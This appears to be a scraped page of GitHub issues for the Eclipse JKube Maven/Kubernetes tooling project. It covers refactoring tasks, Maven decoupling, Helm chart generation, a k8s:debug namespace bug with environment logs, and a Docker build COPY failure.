  • Refactor jkube-kit-common configuration model
  • Refactor jkube-kit-config-image configuration model
  • Refactor jkube-kit-config-resource configuration model
  • Refactor jkube-kit-config-service configuration model
  • Refactor jkube-kit-maven-enricher-api configuration model > rename artifact (jkube-kit)
  • Refactor jkube-kit-maven-generator-api configuration model > rename artifact (jkube-kit)
  • Refactor jkube-kit-watcher-api configuration model
  • Create Quickstart for JKube Kit

Eclipse JKube website

Description

Provide a landing page for https://www.eclipse.org/jkube

Repository

An additional repository should be available to host the website sources:
https://github.com/jkubeio/jkube-website

Content

The landing page should have the following content:

  • ...

Logo and Eclipse trademarks usage must follow these guidelines: https://www.eclipse.org/legal/logo_guidelines.php

AC

  • Repository
  • Initial content
  • CI automation

Related to:

Change project groupId to org.eclipse

Right now our project's groupId is io.jkube, since we've now been migrated to Eclipse we need to change it to org.eclipse

Rename Java packages to org.eclipse.jkube

HelmMojo no longer works

Description

HelmMojo expects an additional Plexus dependency

java.lang.NoClassDefFoundError: org/codehaus/plexus/components/io/resources/PlexusIoResourceCollection

If possible, refactor HelmMojo to be independent from Maven. Later on, implementation should be moved to JKube-Kit so it's reusable by other plugins, extensions, etc.

Relates to:

Configuration mismatch between docs and code

The XML configuration in the docs (even in Fabric8 ones), does not seem to match what the code does. This was a source of confusion when I started using these plugins initially (until I dug through the source code).

For example, the XML Configuration outlines what <resources> item looks like but this does not match the ResourceConfig class.

If I provide say the <deployment> child as outlined in that section, I get the following error:

[ERROR] Failed to execute goal org.eclipse.jkube:k8s-maven-plugin:0.1.1:resource (default-cli) on project pdfg: Unable to parse configuration of mojo org.eclipse.jkube:k8s-maven-plugin:0.1.1:resource for parameter deployment: Cannot find 'deployment' in class org.eclipse.jkube.kit.config.resource.ResourceConfig -> [Help 1]

But when I do follow the class structure, everything goes as expected.

Am I missing something here?

helm : enhance chart generation

I would like to have the option to choose where I want to output charts to be generated. I'll like prefer to have it in ./charts folder instead of target... like that I could add it to my source code.

something like :

<plugin>
        <groupId>org.eclipse.jkube</groupId>
        <artifactId>k8s-maven-plugin</artifactId>
        <version>0.2.0</version>
         <configuration>
              <outputDir>./charts</outputDir>
          </configuration>
      </plugin>

for now I'm using this 

(your helm mojo is broken for now, that's why I'm using fabric8)
mvn fabric8:helm -D=fabric8.helm.outputDir=./charts

the file Chart.yaml could be enhanced like that (it contains more useful informations and display nice in chartmuseum UI too :

apiVersion: v1
appVersion: "1.0"
description: A Helm TEST chart for Kubernetes
name: test-k8s-helm
version: 0.1.1
maintainers: [email protected]
home: http://url-du-projet
icon: http://littleicon.png
sources:
  - githubpath

all that information could be in configuration in the pom.xml

if the folder is present.. just override the files without deleted the content.

Decouple JKube-Kit from Maven

Description

In order to be able to use JKube as an external library, JKube kit should be completely decoupled from any Maven dependencies

Tasks

  • Remove all non-needed dependencies from jkube-kit-common and replicate them in the projects where needed -> #44
  • Move maven specific utils from jkube-kit-common to a separate "Maven only" project -> #44
  • Remove maven dependencies from jkube-kit-config-image -> #45
  • Move resource service implementation out of config model-> #46
    • Create module resource/service "Jkube Kit :: Resource :: Service"
    • Move package org.eclipse.jkube.kit.config.service in config/resource to the new module
  • Remove maven dependencies from jkube-kit-config-resource -> #46
  • Remove maven dependencies from jkube-kit-build-api and jkube-kit-build-service-docker -> #48
  • Remove maven dependencies from jkube-kit-build-maven -> #49
  • ...

Blocked by

k8s:debug - kubernetes namespace is ignored

Operating System
$ uname -a
Linux zoltan-VirtualBox 5.3.0-46-generic #38~18.04.1-Ubuntu SMP Tue Mar 31 04:17:56 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

Eclipse JKube version
org.eclipse.jkube
kubernetes-maven-plugin
1.0.0-alpha-1

Java version
$ java -version
java version "13.0.2" 2020-01-14
Java(TM) SE Runtime Environment (build 13.0.2+8)
Java HotSpot(TM) 64-Bit Server VM (build 13.0.2+8, mixed mode, sharing)

Maven version
mvn -version
Apache Maven 3.6.3 (cecedd343002696d0abb50b32b541b8a6ba2883f)
Maven home: /home/zoltan/.sdkman/candidates/maven/current
Java version: 13.0.2, vendor: Oracle Corporation, runtime: /home/zoltan/dev/java/jdk-13.0.2
Default locale: en_US, platform encoding: UTF-8
OS name: "linux", version: "5.3.0-46-generic", arch: "amd64", family: "unix"

Target cluster version (Kubernetes, OpenShift, Minikube, CRC, etc.)
$ minikube version
minikube version: v1.9.1
commit: d8747aec7ebf8332ddae276d5f8fb42d3152b5a1

$ kubectl version
Client Version: version.Info{Major:"1", Minor:"18", GitVersion:"v1.18.0", GitCommit:"9e991415386e4cf155a24b1da15becaa390438d8", GitTreeState:"clean", BuildDate:"2020-03-25T20:08:47Z", GoVersion:"go1.13.9", Compiler:"gc", Platform:"linux/amd64"}
Server Version: version.Info{Major:"1", Minor:"18", GitVersion:"v1.18.0", GitCommit:"9e991415386e4cf155a24b1da15becaa390438d8", GitTreeState:"clean", BuildDate:"2020-03-25T14:50:46Z", GoVersion:"go1.13.8", Compiler:"gc", Platform:"linux/amd64"}

Symptom:

k8s:debug

fails to establish port-forwarding via kubectl, because the namespace (pom.xml) is ignored when calling kubectl.

pom.xml

	<properties>
		...
		<jkube.namespace>customnamespace</jkube.namespace>
[INFO] --- kubernetes-maven-plugin:1.0.0-alpha-1:debug (default-cli) @ shopping-cart ---
[INFO] k8s: Using Kubernetes at https://172.17.0.2:8443/ in namespace customnamespace with manifest /home/zoltan/dev/workspaces/eLearning/services/shopping-cart/target/classes/META-INF/jkube/kubernetes.yml 
[INFO] k8s: Using namespace: customnamespace
[INFO] k8s: Updating a Service from kubernetes.yml
[INFO] k8s: Updated Service: target/jkube/applyJson/customnamespace/service-shopping-cart-9.json
[INFO] k8s: Enabling debug on Deployment shopping-cart
[INFO] k8s: Waiting for debug pod with selector LabelSelector(matchExpressions=[], matchLabels={app=shopping-cart, provider=jkube, group=hu.customnamespace}, additionalProperties={}) and environment variables {JAVA_DEBUG_SUSPEND=false, JAVA_ENABLE_DEBUG=true}
[INFO] k8s: Port forwarding to port 5005 on pod shopping-cart-5cfc69469b-9sl86 using command /snap/bin/kubectl
[WARNING] k8s:port-forward Error from server (NotFound): pods "shopping-cart-5cfc69469b-9sl86" not found
[INFO] k8s: 
[INFO] k8s: Now you can start a Remote debug execution in your IDE by using localhost and the debug port 5005
[INFO] k8s: 

The problem is indicated as a warning (still it should be an ERROR):

[WARNING] k8s:port-forward Error from server (NotFound): pods "shopping-cart-5cfc69469b-9sl86" not found

Root cause:
kubernetes namespace is silently ignored by the

k8s:debug

Maven goal.

Ducktaping workaround: configuring the context (for subsequent kubectl commands) manually solves the problem:
kubectl config set-context --current --namespace=customnamespace

Once the context is explicitely set as per above, port forwarding works well when typing:

k8s:debug

The above command is now able to find the pod (since namespace is explicitly set) and port-forwarding can be established -> remote JVM debugger can now be attached from Spring Tool Suit 4 without issues (breakpoints hit etc)

DOC: FMP migration guide

Create a migration guide for FMP users.

  • Create an initial migration guide in in root directory MIGRATION-GUIDE.md
  • Add section/link in website

Next steps:

  • Organize global documentation in a separate directory
  • Migrate to AsciiDoc???
  • Add links in website or publish within website

Integration tests

Description

Replicate https://github.com/manusa/fmp-integration-tests/ project to add integration tests to JKube

Remove Openshift specific functionality from Kubernetes Maven Plugin (KMP)

Description

As of now, both Maven plugins (Openshift + Kubernetes) are just ports of Fabric8 Maven Plugin (FMP) with different names.
FMP provides functionality for both cluster brands. AS KMP is just a port of FMP, we can still see traces of OpenShift specifics in the codebase (e.g. s2i, openshiftPullSecret, openshiftDeployTimeoutSeconds...)

All of these properties and configurations should be moved to the appropriate plugin.

Tasks:

  • Modify affected Mojos
  • Update plugin documentation to reflect new state + flags
  • Change jkube-website to generate documentation for both plugins using the configurable kubernetes-maven-plugin-doc

Relates to:

JKubeAssemblyFile.filtered ignored

Description

When parsing configuration in pom.xml tags assembly.inline.files.file containing filtered field cannot be parsed>marshaled to JKubeAssemblyFile object instances.

It also seems that these entries are ignored in DockerAssemblyManager.

Tasks

Notes

Filtered is used for variable interpolation, as of now, this field is ignored > #94 .

Add Maven Enforcer Plugin

Description

Project contains convergence issues with dependencies referenced across different modules. Maven Enforce Plugin should be set up to prevent these convergence issues.

Tasks

  • Add maven convergence plugin to pom
  • Fix reported convergence issues
  • Use dependency management and Maven properties to reference/manage dependencies from a single place

Relates to:

k8s:build issue COPY failed: stat

I'm seeing an issue building docker images with 1.0.0-alpha-1.
The pom + Dockerfile has no issues with fabric8 4.4.1.

[INFO] k8s: ---> d99a48de8998
[INFO] k8s: Step 9/10 : COPY target/my-service.jar my-service.jar
[INFO] k8s:
[ERROR] k8s: Failed to execute the build [Error while trying to build the image]
[INFO] ------------------------------------------------------------------------
[INFO] BUILD FAILURE
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 5.812 s
[INFO] Finished at: 2020-04-13T15:23:49-04:00
[INFO] ------------------------------------------------------------------------
[ERROR] Failed to execute goal org.eclipse.jkube:kubernetes-maven-plugin:1.0.0-alpha-1:build (default-cli) on project my-service: Failed to execute the build: Error while trying to build the image: Unable to build image [myrepo.com:5100/com.xxx.xxxxx.xx/my-service:1.0] : "COPY failed: stat /var/lib/docker/tmp/docker-builder481246942/target/my-service.jar: no such file or directory" -> [Help 1]

Has anyone run across this?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.